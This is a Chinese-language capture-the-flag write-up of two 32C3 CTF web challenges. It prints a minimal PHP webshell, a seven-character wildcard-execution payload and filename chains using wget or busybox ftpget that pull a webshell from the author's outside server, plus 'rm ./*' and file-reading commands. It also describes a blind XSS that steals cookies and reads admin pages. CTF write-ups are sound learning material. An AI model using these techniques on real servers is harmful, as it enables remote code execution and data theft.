作為一個銷售狗,還能做得動Web題,十分開心。 這次搞了兩個題目,一個是TinyHosting,一個是Kummerkasten。
A new file hosting service for very small files. could you pwn it?
http://136.243.194.53/
可以首先在頁面中發現一個隱藏的src參數,在URL里加上?src=1之后可以返回出頁面的源代碼。
大概的意思就是說可以往服務器上傳任意文件名的文件,不過每個文件的內容只有有7個字符那么長。
于是首先google了一下,最短的php webshell應該是14字符的這個:
#!php
<?=`$_GET[1]`;
(PS:原文的該代碼被轉意過了,若有錯誤...見諒.
顯然不夠長啊。
后來腦洞了很多,想到了可愛的 *
,于是很重要的payload是:
#!bash
z.php
內容為:
#!php
<?=`*`;
剛好七個字符,不多不少,能把當前目錄下的所有玩意按順序執行一遍。
于是就要構造一些執行鏈了,一開始的想法是:
#!bash
busybox ftpget two.dog w.php z.php
其中前4個文件內容隨意,w.php是上面的關鍵payload,執行w.php后其內容被我服務器上的webshell覆蓋,而獲取webshell。
結果悲劇的發現busybox ftpget
支持的host只能是ip,而不支持域名。
后來想通過wget來構造,利用了302跳轉可以跨協議的特點。
#!bash
wget wtf.two.dog z.php
前兩個文件人意內容,z.php為重要payload,即可拿下webshell。
但仔細一看,這題會在每一個人的目錄下創建一個index.html
,于是執行鏈被破環沒法工作。
于是使用bash來先干掉index.html
構造:
#!bash
bash bb index.html z.php
其中bash內容隨意,bb的內容為rm ./*
不超過7個字符。然后再通過上面的方法即可獲得一個webshell,然后在根目錄發現一個flag。
之后看了老外的做法真是簡單好用,就利用bash、bb和z.php,bb的內容分別為ls /
,cat /f*
,簡單直接0 0
Our Admin is a little sad this time of the year. Maybe you can cheer him up at this site http://136.243.194.46/
Please note: This challenge does not follow the flag format.Hints:
To build the flag, concatenate both parts and omit '32C3_'
進去之后只有一個提交留言的地方,四下看了看沒發現別的東西,感覺和XSS會有關。
直接丟了一個盲打cookie的payload之后收到了回顯:
訪問過去是403,感覺需要用XSS來讀一下頁面的內容。
本來的思路是XSS里帶上jQuery然后用jQuery操作,結果發現頁面里面有,太方便了。
直接用ajax可以輕松讀取頁面并回傳。
看到了 /admin/bugs
和 /admin/token
根據頁面中的信息來看,關鍵是要讀兩個png圖片回來。
最后的payload如下:
然后把兩個圖里的內容,一個mysql的password和一個6位數字拼起來就是FLAG咯。
更多的writeup可以參考如下鏈接:
https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/web